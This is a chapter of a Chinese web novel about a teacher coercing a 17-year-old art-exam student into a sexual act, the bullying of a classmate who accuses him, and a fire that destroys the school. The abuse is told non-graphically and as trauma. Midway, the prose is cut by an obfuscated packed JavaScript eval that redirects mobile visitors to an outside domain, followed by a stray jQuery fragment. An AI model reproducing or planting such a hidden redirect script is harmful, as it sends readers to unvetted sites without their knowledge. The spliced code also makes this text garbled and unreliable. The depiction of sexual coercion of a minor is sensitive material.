雪中燃赵周南

21.高斯妍

    夏茗踉跄着退了出去。


    她按捺着心中的惊骇,却下意识替高斯妍掩上了洗手间的门。


    高斯妍回过神儿来时,才意识到外面已经发生了一轮激烈的争执。


    大门轰然一声,再次关闭。


    此时,办公室里一片寂静。


    林绍丰像黑暗中蛰伏的巨兽,正在一动不动的克制怒火。


    洗手间内更是安静的让人害怕。


    只有没拧紧的水龙头,在缓慢而冷静地滴水。


    滴答,滴答。


    门外。


    有人缓缓走了过来。


    高斯妍看着门缝里逐渐扩大的阴影,心头蓦然涌上强烈的恐慌。


    她下意识看向四周,明明知道这里不可能有出口,依然像溺水的人在努力寻找最后一根稻草——躲起来,藏起来,或者就地上演消失术。怎么都行。


    总之,她不想面对此时的林绍丰。


    林绍丰也不会希望在此时看到她。


    门把手慢慢被转开——


    高斯妍光裸的后背已将白瓷面的冷壁焐热,潮湿的冷意却蔓延到四肢百骸,冰的她想哭。


    门打开了,携来一阵清新的风。


    林绍丰看到她,没露出太多吃惊,神色甚至可以称得上温和,但高斯妍知道那只是表象,老师在生气,老师很生气。


    而她是一个自作聪明撞上枪口的蠢货。


    林绍丰走向高斯妍,直至将发抖的少女整个笼罩在他巨大的阴影下,他欣赏着她的畏惧,笑道:“你在呢,原来一直在偷听啊,真是个不乖的孩子。”


    高斯妍的上下牙齿在打战,她努力露出一个难看的笑容:“老师,我……”


    “嘘。”林绍丰用一根食指比了个噤声的手势,见她住口,他满意地抚摸上高斯妍的脑袋,顺着头骨的轮廓,一路到脖颈。


    少女|优美而脆弱的脖颈,天鹅一样洁白,仿佛轻轻一折就会断裂。


    高斯妍惊慌失措:“别……”


    林老师却掌握着少女的后颈,然后强迫的、不容置疑的将她用力往下按。


    -


    “呕——”


    已经记不起刷了多久的牙,那股恶心的膻腥味依然挥之不去。


    牙刷四面八方凶狠的捅着口腔,不放过任何一个缝隙与角落,泡沫有几次涌入嗓子眼,引起一阵强烈的干呕。


    高斯妍抬起脸,看到镜子中自己苍白的没有丝毫血色的脸。


    她的每一个毛孔,每一根发丝,甚至每一寸肌肤,都好似被烙印上那又臭又腥的气味,搓洗不掉,祛除不了。


    太恶心了,不光是对她做了这种事的林绍丰,还有被迫接受这种事的她自己。


    高斯妍机械地再一次将牙膏涂抹在牙刷上——


    ……我真的喜欢过这个人吗?


    还是他一遍遍的在强调,我是多么喜欢他?


    牙刷再一次机械地捣入口腔,牙龈渗出血迹——


    ……我到底在做什么?


    ……为什么林老师能如此自然逼着她接受那种事?她明明在摇头,在挣扎,在表达拒绝,可为什么他把她的头强硬的按下去,她就屁都不敢放一个,只得顺从的帮他服务呢?


    高斯妍想破头都想不出答案。


    她控制不住地去回溯,却次次都苦思无解,只想呕个天翻地覆。于是她告诉自己不要想了!快停下!但越是在大脑中尖叫着强调,那些疑惑就越是变本加厉的在她耳边叫嚣。


    高斯妍得出了一个结论,或者说她努力用一个结论说服了自己。


    ——这是一场交易。


    既然和老师之间不是爱情,那就只是交易,它再不能是其他的了。


    它也绝不是其他的。


    交易是什么?交易是一种双方都默认的关系,高斯妍可以篡改自己的记忆,同时幻想过程中没有承受那些无助与屈辱。


    因为一切都是自己“主动的”,是自己“接受的”,是自己“愿意的”。


    这样,她起码是有尊严的——因为对方需要,因为自己还有价值。


    这样一遍遍对着内心的自己重复,这样一遍遍对着镜子中的少女诉说,语言的魔力从大脑到心脏,好像真的有被安慰到,起码那股恶心感被慢慢麻痹了。


    不过是交易而已。


    不过是因为她有。


    洗手间里。


    一位女同学已经洗漱完毕拎起篮子,临走时,她奇怪的看了眼对面的高斯妍。


    她没事吧?


    都已经刷了五遍牙了。


    -


    高斯妍开始恐惧见到林绍丰。


    他的声音,他的语气,他的眼神,还有他走过的每一寸土地,似乎都能勾起那晚恐怖的记忆。


    而外省院校的校考也已迫在眉睫。


    高斯妍对外省的那些考试不甚上心,因为只要乾坤在握,那些不过是鲜花下的陪衬,是练手一样随便打打的轻松局。


    可她又真的乾坤在握了吗?


    高斯妍知道自己得去找林绍丰,得到最终的确认。但她又潜意识在抗拒这个行为,而林绍丰这几天也相当忙,注意力完全不在她这里,忙的甚至都顾不上她。


    有几次在走廊上和郭嘉文打照面,对方看她的眼神……那是另一种成胸在竹。


    高斯妍内心天人交战,是要去主动提醒老师?还是再等等?而就在她一筹莫展的时候,手机里终于收到了林绍丰的回复。


    很简洁。一个饭局的地址,还有到达的具体时间。


    高斯妍将自己收拾妥当,然后硬着头皮去了。


    北城入夜后的路况令人堪忧,高斯妍提前了整整半小时到达会所门口。她歪着头,在门口站了很久,嘴唇冻的微木,双脚也冻的发麻,像站在一排钉子上,挺难受的。


    而她以为的人却没有在街口出现,出现的是田荔。


    田荔穿得既干练又亲和,向她熟稔地招了招手:“来,小高,跟我走。”


    高斯妍的脚步轻快了起来,她明显的松了一口气。


    她走到田荔身侧,听她淡定地叮嘱自己饭局上要注意的事项,以及什么话可以接,什么话绝对不能接……


    高斯妍咬牙点头,背水一战,放手一搏。


    只是在觥筹交错间,几杯黄汤下肚,高斯妍和田荔打着配合,俏皮话说了一波又一波,那些座上宾哈哈大笑的面容却渐渐在眼前重合,最终变成林绍丰皮笑肉不笑的脸。


    当着那么多人,在那么重要的场合。


    高斯妍竟下意识想呕吐。


    她用全部的意志控制住脸上的每一块肌肉,让它维持在最漂亮的微笑弧度。内心却与之相反的消沉下去,却又不理解自己为什么会有这样复杂的、难以分辨的晦暗情绪。


    十七岁的高斯妍,已经隐隐意识到自己的伤痛,这伤痛即将伴随她此后生长出的每一寸人生,在无人知晓处暗自结下它酸涩带毒的果实。


    但她年纪有限,无法梳理出其中蕴藏的逻辑,并提取出清晰有力的脉络。


    -


    高斯妍回到机构时,已经11点多了。


    饭局大体是顺利的,高斯妍一颗七上八下的心终于放回了肚子里。


    田荔和林绍丰都不在机构,主教楼罕见的静悄悄。女生宿舍却与之相反,随着高斯妍踏入二楼,盥洗室那嘈杂的人声像高压锅刺耳的蜂鸣,在压抑中透露出末日般的狂欢。


    高斯妍穿过一间间宿舍,好奇的走向走廊尽头的盥洗室,里面是在热闹什么呢?


    但当看清里面情形的那刻,高斯妍后悔得肠子都青了,她恨不得脚踩风火轮,逃离这方是非之地。


    高斯妍首先对上的是郭嘉文的眼睛,那双挑衅地、凶狠的眼睛,她绷紧的下颔线像某种进入戒备状态的动物,而几个拥泵者站在她周围,冷眼的作壁上观。


    夏茗被围在中间,像被多人狙击的单薄猎物,兀自倔强的挣扎:“我说的都是真的!林绍丰是禽兽!他试图强|奸我!”


    夏茗头发凌乱,左脸上还有鲜红的巴掌印,此时正被三四双手牢牢梏在墙角。


    她们骂她,大力掌掴她,恶狠狠道:“闭嘴!胡说八道的贱货!”


    郭嘉文怜悯地看着夏茗:“林老师说的果然没错,你勾引他无果,就开始造谣诋毁他!”


    她面上显出阴恻恻的恨意,一个巴掌又甩了过去:“你怎么这么恶心,这么恶毒啊?你是想毁了繁星机构,毁了我们大家的前程吗?”


    夏茗一直在挣扎,但力气不大,她的嘴唇在哆嗦,高斯妍注意到她浑身都被冷水淋湿了,冻的面目青紫,而旁边的红色洗脸盆更是印证了她的猜想。


    她们给她泼了冷水?这是活生生的霸凌啊!


    高斯妍想逃离这里,她为什么要走到这里呢?她不想站队,更不想面对这些,她自己还是一团乱麻……但夏茗已经在隔着人群看她,她的目光令高斯妍的心里油然生出一股强烈的不安,她步步后退——


    别!高斯妍在心底尖叫,掩耳盗铃的捂紧双耳!求你别问我,我什么都不知道!


    夏茗果然大声叫住了她:


    “高斯妍!你说,是我勾引他吗?”


    她的声音在哆嗦:“明明是他……是他,那晚你全都听到了不是吗?你告诉大家啊!告诉大家林绍丰的真面目!”


    说到最后,她几乎是吼出来的。


    高斯妍僵硬地顿住,僵硬地看向以郭嘉文为首的女孩们,郭嘉文扬着下巴傲慢地注视着她,眼里带着了然的讥笑。


    ——你敢吗?高斯妍。


    ——我知道你背后交易了什么,我知道你把宝压在了谁的身上。所以你敢吗?


    高斯妍看着夏茗,夏茗看着高斯妍。


    她很狼狈,是高斯妍从未见过的狼狈,但目光却是勇敢而倔强的,夏茗在鼓励高斯妍说出来。


    高斯妍记得她对自己的善意,可此时此刻,那善意化为无数暴雨梨花针,把她捅成个千疮百孔的筛子。


    高斯妍咬紧嘴唇,内心像被撕裂成数截。


    一面是说出真相,为夏茗出头,守住自己心头那点可怜的正义和善良。


    可另一面,却是这几个月沉甸甸的付出,是无数次关系的打点,是胆战心惊的操盘,是父母金钱的大量投入,还有自己的心力交瘁……这沉没成本太大了,高斯妍赌不起。


    高斯妍赌不起,所以高斯妍只能对不起夏茗。


    她摇摇头,决然道:“对不起,我不知道你在说什么。”


    她避开夏茗骤然绝望的面容,和郭嘉文一瞬间轻松起来的神色,径直转身向外走去。


    后面,郭嘉文似是朝着夏茗啐了一口,冷笑道:“听见了吗?你还想怎么证明自己没说谎呢?个贱货!”


    高斯妍的拳头无力的捏紧,她想回头,想推开郭嘉文为首的林绍丰拥戴者,想告诉她们夏茗没有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630806|150695||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说谎!可身前身后都是正在下沉的泥沼,肮脏的自己已经无路可走。


    她只能躲在楼道处,胸口沉甸甸的像压了块大石头,重的她燥郁缺氧。


    高斯妍按住胸口,大口大口呼吸。


    然后她看到了隐在暗处的陈安然。同样面色苍白的陈安然。


    陈安然穿着睡衣拖鞋,裸露的肌肤被冷风吹的通红,她应该站了挺久,眼角有泪,嘴唇在哆嗦。


    她们无言地在黑暗中对视。


    然后不约而同的选择沉默。


    -


    那天之后,高斯妍没有再见过夏茗。


    夏茗失踪了几天。


    但到底是几天呢?高斯妍记不太清了。


    因为她报考的院校已经开始第一轮考试,高斯妍在紧张的氛围中随即动身前往机场,飞往宁市。


    艺考的队伍真长啊,哪怕是一个普通学校的名额,居然也会有这么多、这么多的表演生报考。


    僧多粥少,僧多粥少。


    眼前的盛况,更是验证了林绍丰口中的“艰巨”,他可真的一点儿都没有夸张啊。


    高斯妍穿了身暖白的大衣,戴着大大的墨镜,不苟言笑的模样很快引起了记者的关注,机器对准了她,话筒递到了她的嘴边——


    高斯妍只是装的淡定,实则心中激动难耐,她想,我明天会在腾讯新闻的头条上看到自己吗?我精心打理的发型有没有乱?我的仪态好不好看?摄像机拍的是我左脸还是右脸啊?右脸会更上镜一些……


    一想到会在明天的新闻版面上看到自己的照片,高斯妍简直要快乐的叫出声!


    被采访,上头条,顺利考上名校,和明星做同学,然后拍电影,走红,家喻户晓……


    高斯妍沉浸在一帆风顺的幻想中,这幻想太美好了,让人热血沸腾。她感觉身体都热了起来,脚底下更像是踩着软乎乎的棉花,都快要飘起来了。


    ——这场考试是开门红,只是给你练手而已,结果根本不重要。


    当时林绍丰这样对高斯妍笃定道。


    ——你是要上京电的。


    也许是因为知道自己肯定不会上这所普通三本,所以高斯妍的心态非常轻松,甚至有一种睥睨众生的超然之态。


    也是因此这种松弛,她在这场考试里发挥的前所未有的好,不光题目抽到的是林绍丰教自己练过的类似情境,连表演也很自然。


    问答环节时,高斯妍甚至俏皮的和考官开起了玩笑,逗得他们开怀大笑。


    -


    高斯妍离开宁城的那天,飞机延误了,她后悔买了不靠谱的航空公司的航班。


    她在机场里昏昏欲睡,又警惕着醒来,终于熬到了登机,一看时间,已近凌晨一点。


    从宁城飞往北城需要两个小时,高斯妍睡了个短暂的觉。


    梦里,一切都很顺利。


    她顺利考上京电,从此大放异彩。蔡蔡和伯父一家以后会指着电视里的自己露出复杂的神色,母亲可以对着任何人肆无忌惮的夸奖自己,这次没有任何人能夺走高斯妍的“主角光环”。


    她会成名。然后在某一个珠光宝气的商宴上,她会遇上那位珍惜她、欣赏她的成功人士。嫁人后,她依然是丈夫手中闪闪发光的宝贝,是当之无愧的光芒中心。


    只是不知为何,也许是飞机遇上气流,这一觉睡得并不安稳。


    凌晨三点,飞机降落北城t3。


    北城在下雪,难怪飞机颠簸。


    纷纷扬扬的大雪,室外却比平常要暖和。


    雪花凝结散热,雪花熔化吸热,这是初中的化学知识吧?


    高斯妍怏怏地想着,她讨厌坐摆渡车,感觉很粗糙。怏怏地下车,去转盘处取行李,又打了车,返回繁星机构。


    凌晨不堵车,路程倒是比往常快很多。


    高斯妍在车上又打了会瞌睡,却隐隐听见消防车的声音,像电影里危险的前奏,她果然被林绍丰涂抹的走火入魔。


    天还黑着,快到时刚蒙蒙亮,高斯妍感觉车速慢了下来,她迷迷糊糊的打开手机看了眼时间,四点四十五。


    大雪衬得夜色都变明亮了,两侧飞逝的景象也变回她熟悉的鸟不拉屎的偏僻空旷。


    快到了啊。


    高斯妍打了个懒懒的哈欠,漫不经心看向窗外——


    目光却直直地定住。


    天隐隐透亮,是那种乌沉沉的蓝,带着晨曦前的一抹鱼肚白,微弱的,在天边遥遥着。


    然后是红。


    铺天盖地的红。


    白的雪,红的残光,烧焦发乌的建筑。


    司机已经将车停下,如实道:“开不过去了,前面已经封锁了,你确定你要去的是那里吗?”


    他回头,却看见少女已经仓皇地下了车,踉踉跄跄的向前方跑去。


    -


    高斯妍失神的看着眼前的主教楼。


    天空中旋着灰白色的雪花,浩浩汤汤的,一触即散。她许久才发应过来,那不是雪花,那是燃烧后的灰烬。


    可又的确在下雪。


    高斯妍慢慢跪坐在地上,她即使再没悟性,也预感到所有板上钉钉的承诺,都将因为这一场火,而发生铺天盖地的变数。


    而所有谋划、所有努力都可能付诸东流。


    蝇营狗苟,餐腥啄腐……原来在这焚毁一切的决绝火焰面前——


    也不过是沤珠槿艳、一枕槐安。